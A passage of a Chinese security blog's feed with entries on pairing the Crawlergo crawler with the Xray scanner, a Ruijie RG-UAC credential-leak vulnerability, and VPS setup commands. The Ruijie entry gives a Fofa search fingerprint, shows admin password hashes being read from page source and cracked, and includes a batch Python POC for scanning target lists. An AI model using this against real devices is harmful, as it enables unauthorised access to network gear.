28cb7cc92de2ba2a16cb8d19299cc8252b5778731e60d3466aa8d07414e8a04420016cf3619fc88d6f33f4dfc060b913880bf978699cd88a9df46b96fac90c913b4c35e7343dc85c89989568e5fafbe9e1ee8842a3d0e9f71e76fecd5b57218c588b2568619b0b1961d91b73eea6d1eef8b35b4b0aa7e3ee3c3aa065036ef509d94d3e2e98f9ce4fec53b0ce4edb6232ebf6f5e27fe97486755856a1e85043ba6eac29b44b86dfa477807c44fa54f20bcca7f46caeb0c956109cd27136f100ba04514879b1dae5c2363ebd82ddc9d47f4df29e54566eee86c5d4716fee12e4dd16aff518eea58d91d08437a49255760fa0f0afb0dc4588080dbc1290d981b828854b959d9f664a7494c634a98beb2942dd152587e5d69ff902f9239cf82d0b2d8f4087f7e5c7c946dc2f6b0e0c8cc88cd0d44c1e8f5835af8c0cd468dbf2a4c2e821a31d6584c5c75005da63db08696f1c261796d86696df8bd2e7ae350e6ceb947b044141a1f688f8ba9c05d46bea5ffc0beceb2db943d9524cfafbb3581ea6a2ef9cc444978aacee631c771a202066b10f8df305b81282f22eacb2efc310d45128050a6f85b7b8c2866eb4decdecbbfe6018f8b2fe0aa2fda03b83c4600555007cb21953f153bc79903e9fe508fa85ee1a83f820542283299e14d3daba0273d747e791d5ace7da13a3a2bca6d8b82408312a1f25f1262be1b044caac75085bf4f6df47993142c97d7ed8938ed2d09427a2260d5ded6b6fa15aa6a1a8da8308f4389280c97b4c4e43a83fa30177f65908e2f9bfcc24b32b62283f3f91d51022e02b997bdc1b9f8c86ad468e62afd73aef4a82694be7d770b05ae4b1ac654d4e3268502fac6b2d230426d33e80a93b14fcb3953bb8b34f42f8bea9ed9bc03b1ff1f892aabfe0956157bb5e9ba9ec90afbe746bdee033e02e68124bac817b85796456fb20951b984b572ec09e275b719e41d009eaa6afe09fbcb19bd41feac938d47c386749c3e65849189fae171ed1daf8791ce3b0bd1c23ebe50694a18be090ae94baaca5dc010554016bcf09f8da8de2fa2eef516ee48d1e9efaa7ca481e4cc9b3c33eee8306d8f2cd002f7be8d8eb1ba2d1aa5709fd3ec378f22a7f7dfa9678c76772c727af4e660276e96dda8acc6967534ad358070d4aa26cfe25cd998f29aa39cbca8267c171cfdd796e61bd176655c9e751e77c7d53b30c859b65f322b68a54a58d5eeda051409e107ac4d064e68d30871f77a8c784777beff4278fe213ed065b8f6c97fa00096f97beab6bdb0eebae448876f413d16ea9f1e3e2be6f06f228bf160ff8b7004e27724969d3f109198de5cbe39901c46fe8947012076c945d9dc44a65ea1ac6c6a698575e593c74244950fa9c1c90fdf6fa68891ade93f7aaf55f659dac7707f01bbab8b2cfd93630a5bfdbc84788a1649432de0c8f2af5a265594b043d197091d92dd2c26be52d8c15723b321a1ac13173fa12ae7a763d13ce7e5eb90e1cb5cadf6969c7bc46be3c80d4e9107c763ebe2e1076efaa8ad5a1c4eb69dd47d5a3b8d35e3baf7503cd8b59a6fda4559ba13fd401149545a1de1fe34bd4f81ff438564914483a60e6d1e134625f7036b2760dac872f14135e97210fc3d48ec529c70dc21ba2b2b84518480cecd9827fc84f76d7288302057be9f56a7102c1896b14ed8ab115061826fd75e51992671b2cb86e78351d41d86ae8e621a89d94fffacf7e7f574eba9232b0037573ab58b22fc8756ed230e295a8d3ed54de7b040ebff49f8a750ef5ad2de7e1fc9aa1735f366e9b39a7317b3cb0edf286f131721656cff27859aec0dbef80cf0d283e3b3dab8324b66cd47a68d8274819f869edd24551d9c503528f2f90ea0804ed431e2197d3526d24080a53df6b7a15c01926bd3c3812341e8b0542150248e3fbe9cfcb4ec0f796a27b48474fee61612be4a91e6239dc20ef04daa834eb01fde621cfd0d068199d1e5e527581204e03e96c9ce6e61fc88f574db18a32846d15e9a249b04d2a8dabc4c956dcca07c38b66c42a74a73423d92a15246637a7dac0019232bfb445cb48fed0ff1c556ce79f1983d55c68376d5f968b1a161b9e8fa4cce97c5ff2475a1573b326ee64e87e438fd4c5c69367fe68fe6b2ad7e4b9c4f01b70cf2d1b2cb3865906a41dab9e6b6936624071b4394e770a5a34f6095c3defcbb76de946d0700b838c694131554f32393d3a3107a502b8bc8bb4fac6a46850d6605bae5f7792884f004b61719e8531e44caf1c5a3d66e7a2b18f0eea72ad84b57badff99b10f493bd21c3432a421531dd456b98902f468efbf2357dc718cac809e14a8e62af554dedc6706b05ac031c8a9911d504f1dc74d1852e746bcd7850cb2cf88191861342e0bcd5867a752d3c27cc31eae86ae8bf165e1fac4de35278bbbd00c8ec3362bc</script></div><script src="/lib/blog-encrypt.js"></script><link href="/css/blog-encrypt.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">Here&#39;s something encrypted, password is required to continue reading.</summary>
    
    
    
    <category term="Tools" scheme="https://www.lintstar.top/categories/Tools/"/>
    
    
    <category term="Python" scheme="https://www.lintstar.top/tags/Python/"/>
    
    <category term="CobaltStrike" scheme="https://www.lintstar.top/tags/CobaltStrike/"/>
    
    <category term="Attack" scheme="https://www.lintstar.top/tags/Attack/"/>
    
    <category term="Serverless" scheme="https://www.lintstar.top/tags/Serverless/"/>
    
  </entry>
  
  <entry>
    <title>Crawlergo动态爬虫联动Xray</title>
    <link href="https://www.lintstar.top/2021/03/33b41b9d.html"/>
    <id>https://www.lintstar.top/2021/03/33b41b9d.html</id>
    <published>2021-03-10T15:49:59.000Z</published>
    <updated>2023-11-09T07:40:38.119Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Crawlergo动态爬虫联动Xray"><a href="#Crawlergo动态爬虫联动Xray" class="headerlink" title="Crawlergo动态爬虫联动Xray"></a>Crawlergo动态爬虫联动Xray</h1><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p><strong>被动扫描可以通过代理方式，把浏览过的网页进行漏洞扫描，而一个小巧强大的爬虫可以爬取到足够丰富的 URL 信息，因此就有了 Crawlergo 和 Xray 的梦幻联动。</strong></p><p><strong>项目地址：<a href="https://github.com/timwhitez/crawlergo_x_XRAY">https://github.com/timwhitez/crawlergo_x_XRAY</a></strong></p><h1 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h1><p><strong>下载压缩包：<a href="https://github.com/timwhitez/crawlergo_x_XRAY/archive/master.zip">https://github.com/timwhitez/crawlergo_x_XRAY/archive/master.zip</a></strong></p><p><strong>或者 Git 到本地：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/timwhitez/crawlergo_x_XRAY.git</span><br></pre></td></tr></table></figure><h1 id="Crawlergo"><a href="#Crawlergo" class="headerlink" title="Crawlergo"></a>Crawlergo</h1><p><strong>Crawlergo是一个使用 <code>chrome headless</code> 模式进行URL入口收集的动态爬虫。 使用 Golang 语言开发,尽可能的收集网站暴露出的入口。同时，依靠智能URL去重模块，在过滤掉了大多数伪静态URL之后，仍然确保不遗漏关键入口链接，大幅减少重复任务。</strong></p><h2 id="下载地址"><a href="#下载地址" class="headerlink" title="下载地址"></a>下载地址</h2><p><strong>下载对应版本放到项目的 crawlergo 文件夹</strong></p><p><strong>Windows 版本：<a href="https://github.com/0Kee-Team/crawlergo/releases/download/v0.4.0/crawlergo_windows_amd64.zip">https://github.com/0Kee-Team/crawlergo/releases/download/v0.4.0/crawlergo_windows_amd64.zip</a></strong></p><p><strong>Mac 版本：<a href="https://github.com/0Kee-Team/crawlergo/releases/download/v0.4.0/crawlergo_darwin_amd64.zip">https://github.com/0Kee-Team/crawlergo/releases/download/v0.4.0/crawlergo_darwin_amd64.zip</a></strong></p><h2 id="使用测试"><a href="#使用测试" class="headerlink" title="使用测试"></a>使用测试</h2><p><strong>测试前需要先确定你的 Chrome 或者 Chromium 浏览器可执行文件的安装位置</strong></p><p><strong>Windows:</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">C:\Program Files (x86)\Google\Chrome\Application\chrome.exe</span><br></pre></td></tr></table></figure><p><strong>Mac:</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/Applications/Google Chrome.app/Contents/MacOS/Google Chrome</span><br></pre></td></tr></table></figure><p><strong>注意这里的Unix 可执行文件需要显示包内容才看得到：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210308014131.png" alt="image-20210308014131625"></p><h2 id="爬取URL"><a href="#爬取URL" class="headerlink" title="爬取URL"></a>爬取URL</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./crawlergo -c /Applications/Chromium.app/Contents/MacOS/Chromium -t 20 http://testphp.vulnweb.com</span><br></pre></td></tr></table></figure><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210308013601.png" alt="image-20210308013601707"></p><h1 id="Xray"><a href="#Xray" class="headerlink" title="Xray"></a>Xray</h1><p><strong>xray 是一款功能强大的安全评估工具，也是一款著名的支持被动扫描的扫描器。</strong></p><h2 id="下载地址-1"><a href="#下载地址-1" class="headerlink" title="下载地址"></a>下载地址</h2><p><strong>下载对应版本放到项目的 xray 文件夹</strong></p><p><strong>Windows 版本：<a href="https://github.com/chaitin/xray/releases/download/1.7.0/xray_windows_amd64.exe.zip">https://github.com/chaitin/xray/releases/download/1.7.0/xray_windows_amd64.exe.zip</a></strong></p><p><strong>Mac 版本：<a href="https://github.com/chaitin/xray/releases/download/1.7.0/xray_darwin_amd64.zip">https://github.com/chaitin/xray/releases/download/1.7.0/xray_darwin_amd64.zip</a></strong></p><h2 id="测试运行"><a href="#测试运行" class="headerlink" title="测试运行"></a>测试运行</h2><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210308015125.png" alt="image-20210308015125816"></p><h1 id="Crawlergo联动Xray"><a href="#Crawlergo联动Xray" class="headerlink" title="Crawlergo联动Xray"></a><strong>Crawlergo联动Xray</strong></h1><h2 id="扫描逻辑"><a href="#扫描逻辑" class="headerlink" title="扫描逻辑"></a>扫描逻辑</h2><p><img src= "/img/loading.gif" data-lazy-src="https://raw.githubusercontent.com/timwhitez/crawlergo_x_XRAY/master/img/5.png"></p><h2 id="食用方法"><a href="#食用方法" class="headerlink" title="食用方法"></a>食用方法</h2><ol><li><p><strong>把 launcher.py 和 targets.txt 放在 crawlergo 目录下</strong></p></li><li><p><strong>配置好并启动xray被动扫描（脚本默认配置为127.0.0.1:7777）若修改端口请同时修改 launcher.py 文件中的 proxies</strong></p></li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./xray_darwin_amd64 webscan --listen 127.0.0.1:7777 --html-output test.html</span><br></pre></td></tr></table></figure><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210308020400.png" alt="image-20210308020400899"></p><ol start="3"><li><strong>将测试 Crawlergo 爬虫时的浏览器路径替换到 launcher.py 的 cmd 变量</strong></li><li><strong>将目标 URL 写进 targets.txt，一行一个 URL</strong></li><li><strong>运行 launcher.py</strong></li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 launcher.py</span><br></pre></td></tr></table></figure><p><strong>遇到报错缺少模块时</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ModuleNotFoundError: No module named <span class="string">&#x27;xx&#x27;</span></span><br></pre></td></tr></table></figure><p> <strong>执行下面命令即可：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip3 install xx</span><br></pre></td></tr></table></figure><h2 id="使用效果"><a href="#使用效果" class="headerlink" title="使用效果"></a>使用效果</h2><p><strong>crawl ok说明启动成功</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210308020854.png" alt="image-20210308020854526"></p><p><strong>Xray 已成功接收 Crawlergo 爬虫的 URL 信息并扫描到漏洞</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210308015039.png" alt="image-20210308015039860"></p><p><strong>漏洞信息：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210308022353.png" alt="image-20210308022353420"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;Crawlergo动态爬虫联动Xray&quot;&gt;&lt;a href=&quot;#Crawlergo动态爬虫联动Xray&quot; class=&quot;headerlink&quot; title=&quot;Crawlergo动态爬虫联动Xray&quot;&gt;&lt;/a&gt;Crawlergo动态爬虫联动Xray&lt;/h1&gt;&lt;h1 i</summary>
      
    
    
    
    <category term="Tools" scheme="https://www.lintstar.top/categories/Tools/"/>
    
    
    <category term="Attack" scheme="https://www.lintstar.top/tags/Attack/"/>
    
    <category term="Xray" scheme="https://www.lintstar.top/tags/Xray/"/>
    
    <category term="Crawlergo" scheme="https://www.lintstar.top/tags/Crawlergo/"/>
    
  </entry>
  
  <entry>
    <title>锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞</title>
    <link href="https://www.lintstar.top/2021/03/6c05e651.html"/>
    <id>https://www.lintstar.top/2021/03/6c05e651.html</id>
    <published>2021-03-08T04:00:58.000Z</published>
    <updated>2023-11-09T07:40:38.119Z</updated>
    
    <content type="html"><![CDATA[<h2 id="锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞"><a href="#锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞" class="headerlink" title="锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞"></a>锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞</h2><h1 id="漏洞描述"><a href="#漏洞描述" class="headerlink" title="漏洞描述"></a>漏洞描述</h1><p><strong>锐捷RG-UAC统一上网行为管理审计系统存在账号密码信息泄露,可以间接获取用户账号密码信息登录后台</strong></p><p><strong>编号：CNVD-2021-14536</strong></p><h1 id="Fofa指纹"><a href="#Fofa指纹" class="headerlink" title="Fofa指纹"></a>Fofa指纹</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">title&#x3D;&quot;RG-UAC登录页面&quot; &amp;&amp; body&#x3D;&quot;admin&quot;</span><br></pre></td></tr></table></figure><h1 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h1><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210308161840.png" alt="image-20210308161840038"></p><p><strong>源代码搜索：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210308161935.png" alt="image-20210308161935213"></p><p><strong>MD5解密：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210308162005.png" alt="image-20210308162005706"></p><p><strong>登录成功</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210308162316.png" alt="image-20210308162316216"></p><h1 id="自动化-POC"><a href="#自动化-POC" class="headerlink" title="自动化 POC"></a>自动化 POC</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">from</span> requests.packages.urllib3.exceptions <span class="keyword">import</span> InsecureRequestWarning</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">title</span>():</span></span><br><span class="line">    print(<span class="string">&#x27;+------------------------------------------&#x27;</span>)</span><br><span class="line">    print(<span class="string">&#x27;+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m&#x27;</span>)</span><br><span class="line">    print(<span class="string">&#x27;+  \033[34mVersion: 锐捷RG-UAC统一上网行为管理审计系统                             \033[0m&#x27;</span>)</span><br><span class="line">    print(<span class="string">&#x27;+  \033[36m使用格式:  python3 poc.py                                            \033[0m&#x27;</span>)</span><br><span class="line">    print(<span class="string">&#x27;+  \033[36mFile         &gt;&gt;&gt; ip.txt                             \033[0m&#x27;</span>)</span><br><span class="line">    print(<span class="string">&#x27;+------------------------------------------&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">POC_1</span>(<span class="params">target_url</span>):</span></span><br><span class="line">    vuln_url = target_url</span><br><span class="line">    headers = &#123;</span><br><span class="line">        <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36&quot;</span>,</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)</span><br><span class="line">        response = requests.get(url=vuln_url, headers=headers, verify=<span class="literal">False</span>, timeout=<span class="number">5</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;super_admin&quot;</span> <span class="keyword">in</span> response.text <span class="keyword">and</span> <span class="string">&quot;password&quot;</span> <span class="keyword">in</span> response.text <span class="keyword">and</span> response.status_code == <span class="number">200</span>:</span><br><span class="line">            print(<span class="string">&quot;\033[32m[o] 目标 &#123;&#125;存在漏洞 ,F12查看源码获取密码md5值 \033[0m&quot;</span>.format(target_url))</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            print(<span class="string">&quot;\033[31m[x] 目标 &#123;&#125;不存在漏洞 \033[0m&quot;</span>.format(target_url))</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        print(<span class="string">&quot;\033[31m[x] 目标 &#123;&#125;不存在漏洞 \033[0m&quot;</span>.format(target_url))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Scan</span>(<span class="params">file_name</span>):</span></span><br><span class="line">    <span class="keyword">with</span> open(file_name, <span class="string">&quot;r&quot;</span>, encoding=<span class="string">&#x27;utf8&#x27;</span>) <span class="keyword">as</span> scan_url:</span><br><span class="line">        <span class="keyword">for</span> url <span class="keyword">in</span> scan_url:</span><br><span class="line">            <span class="keyword">if</span> url[:<span class="number">4</span>] != <span class="string">&quot;http&quot;</span>:</span><br><span class="line">                url = <span class="string">&quot;http://&quot;</span> + url</span><br><span class="line">            url = url.strip(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                POC_1(url)</span><br><span class="line"></span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">                print(<span class="string">&quot;\033[31m[x] 请求报错 \033[0m&quot;</span>.format(e))</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    title()</span><br><span class="line">    file_name  = str(input(<span class="string">&quot;\033[35mPlease input Attack File\nFile &gt;&gt;&gt; \033[0m&quot;</span>))</span><br><span class="line">    Scan(file_name)</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞&quot;&gt;&lt;a href=&quot;#锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞&quot; class=&quot;headerlink&quot; title=&quot;锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞&quot;&gt;</summary>
      
    
    
    
    <category term="Note" scheme="https://www.lintstar.top/categories/Note/"/>
    
    <category term="Web" scheme="https://www.lintstar.top/categories/Note/Web/"/>
    
    
    <category term="Vulnerability" scheme="https://www.lintstar.top/tags/Vulnerability/"/>
    
    <category term="Fofa" scheme="https://www.lintstar.top/tags/Fofa/"/>
    
  </entry>
  
  <entry>
    <title>VPS 配置记录</title>
    <link href="https://www.lintstar.top/2021/02/bc3116a4.html"/>
    <id>https://www.lintstar.top/2021/02/bc3116a4.html</id>
    <published>2021-02-09T04:00:58.000Z</published>
    <updated>2023-11-09T07:40:38.119Z</updated>
    
    <content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p><strong>日常学习工作总需要一台 Linux 主机，但是每次需要配置环境的时候会很繁琐，因此用本文记录一下新装 Linux 的环境配置命令，方便日后使用。</strong></p><h1 id="GCP开启密码与root用户登陆"><a href="#GCP开启密码与root用户登陆" class="headerlink" title="GCP开启密码与root用户登陆"></a>GCP开启密码与root用户登陆</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">sudo -i   //切换到root用户</span><br><span class="line">vi /etc/ssh/sshd_config //编辑文件</span><br><span class="line"></span><br><span class="line"><span class="comment">#### 允许 root 权限登录</span></span><br><span class="line"><span class="comment"># Authentication:</span></span><br><span class="line"><span class="comment"># 限制用户必须在指定的时限内认证成功</span></span><br><span class="line">LoginGraceTime 120</span><br><span class="line">PermitRootLogin yes</span><br><span class="line">StrictModes yes</span><br><span class="line"></span><br><span class="line"><span class="comment">#### 开启密码登录</span></span><br><span class="line"><span class="comment"># Change to no to disable tunnelled clear text passwords</span></span><br><span class="line">PasswordAuthentication yes</span><br><span class="line"></span><br><span class="line"><span class="comment"># 重启 SSH</span></span><br><span class="line">service sshd restart</span><br><span class="line"></span><br><span class="line"><span class="comment"># 修改 root 密码</span></span><br><span class="line">passwd root</span><br></pre></td></tr></table></figure><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210305172559.png" alt="image-20210305172559526"></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210305172703.png" alt="image-20210305172703586"></p><h1 id=""><a href="#" class="headerlink" title=""></a></h1><h1 id="修改主机名"><a href="#修改主机名" class="headerlink" title="修改主机名"></a>修改主机名</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;Xstark&#x27;</span> &gt;/etc/hostname</span><br><span class="line">hostname `cat /etc/hostname`</span><br><span class="line">bash</span><br></pre></td></tr></table></figure><h1 id="CentOS-更换源"><a href="#CentOS-更换源" class="headerlink" title="CentOS 更换源"></a>CentOS 更换源</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-8.repo</span><br><span class="line">yum -y install wget</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看是否修改成功</span></span><br><span class="line">cat /etc/yum.repos.d/CentOS-Base.repo</span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成缓存 升级软件包</span></span><br><span class="line">yum makecache</span><br><span class="line">yum -y update</span><br></pre></td></tr></table></figure><h1 id="CentOS-开启-SSH"><a href="#CentOS-开启-SSH" class="headerlink" title="CentOS 开启 SSH"></a>CentOS 开启 SSH</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 检测是否安装 openssh-server</span></span><br><span class="line">yum list installed | grep openssh-server</span><br><span class="line"><span class="comment"># 没有输出的话需要执行命令</span></span><br><span class="line">yum install openssh-server</span><br><span class="line"></span><br><span class="line"><span class="comment"># 编辑 sshd 的配置文件</span></span><br><span class="line">vim /etc/ssh/sshd_config</span><br></pre></td></tr></table></figure><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210208124142.png" alt="image-20210208124142515"></p><blockquote><p><strong>AddressFamily</strong><br><strong>指定 sshd(8) 应当使用哪种地址族。取值范围是：”any”(默认)、”inet”(仅IPv4)、”inet6”(仅IPv6)。</strong></p></blockquote><h1 id="Python"><a href="#Python" class="headerlink" title="Python"></a>Python</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 安装 Python3.6</span></span><br><span class="line">yum -y install python36</span><br></pre></td></tr></table></figure><h1 id="Java"><a href="#Java" class="headerlink" title="Java"></a>Java</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 安装 jdk1.8</span></span><br><span class="line">yum install java-1.8.0-openjdk* -y</span><br><span class="line"><span class="comment"># 查看版本</span></span><br><span class="line">java -version</span><br></pre></td></tr></table></figure><h1 id="Nginx"><a href="#Nginx" class="headerlink" title="Nginx"></a>Nginx</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 安装:</span></span><br><span class="line">yum install nginx</span><br><span class="line"><span class="comment"># 启用并启动Nginx服务：</span></span><br><span class="line">$ sudo systemctl <span class="built_in">enable</span> nginx</span><br><span class="line">$ sudo systemctl start nginx</span><br><span class="line"><span class="comment"># 停止服务：</span></span><br><span class="line">$ sudo systemctl stop nginx</span><br><span class="line"><span class="comment"># 要验证服务是否正在运行，检查其状态：</span></span><br><span class="line">$ sudo systemctl status nginx</span><br></pre></td></tr></table></figure><h1 id="Mysql"><a href="#Mysql" class="headerlink" title="Mysql"></a>Mysql</h1><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo dnf install mysql-server</span><br><span class="line">sudo systemctl start mysqld.service</span><br></pre></td></tr></table></figure><p>查询 Mysql 状态：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">sudo systemctl status mysqld</span><br><span class="line"></span><br><span class="line">● mysqld.service - MySQL 8.0 database server</span><br><span class="line">   Loaded: loaded (/usr/lib/systemd/system/mysqld.service; disabled; vendor preset: disabl&gt;</span><br><span class="line">   Active: active (running) since Sat 2021-02-20 20:33:45 PST; 1min 26s ago</span><br><span class="line">  Process: 10223 ExecStartPost=/usr/libexec/mysql-check-upgrade (code=exited, status=0/SUC&gt;</span><br><span class="line">  Process: 10096 ExecStartPre=/usr/libexec/mysql-prepare-db-dir mysqld.service (code=exite&gt;</span><br><span class="line">  Process: 10072 ExecStartPre=/usr/libexec/mysql-check-socket (code=exited, status=0/SUCCE&gt;</span><br><span class="line"> Main PID: 10178 (mysqld)</span><br><span class="line">   Status: <span class="string">&quot;Server is operational&quot;</span></span><br><span class="line">    Tasks: 39 (<span class="built_in">limit</span>: 4773)</span><br><span class="line">   Memory: 295.0M</span><br><span class="line">   CGroup: /system.slice/mysqld.service</span><br><span class="line">           └─10178 /usr/libexec/mysqld --basedir=/usr</span><br><span class="line"></span><br><span class="line">Feb 20 20:33:38 Xstark systemd[1]: Starting MySQL 8.0 database server...</span><br><span class="line">Feb 20 20:33:38 Xstark mysql-prepare-db-dir[10096]: Initializing MySQL database</span><br><span class="line">Feb 20 20:33:45 Xstark systemd[1]: Started MySQL 8.0 database server.</span><br><span 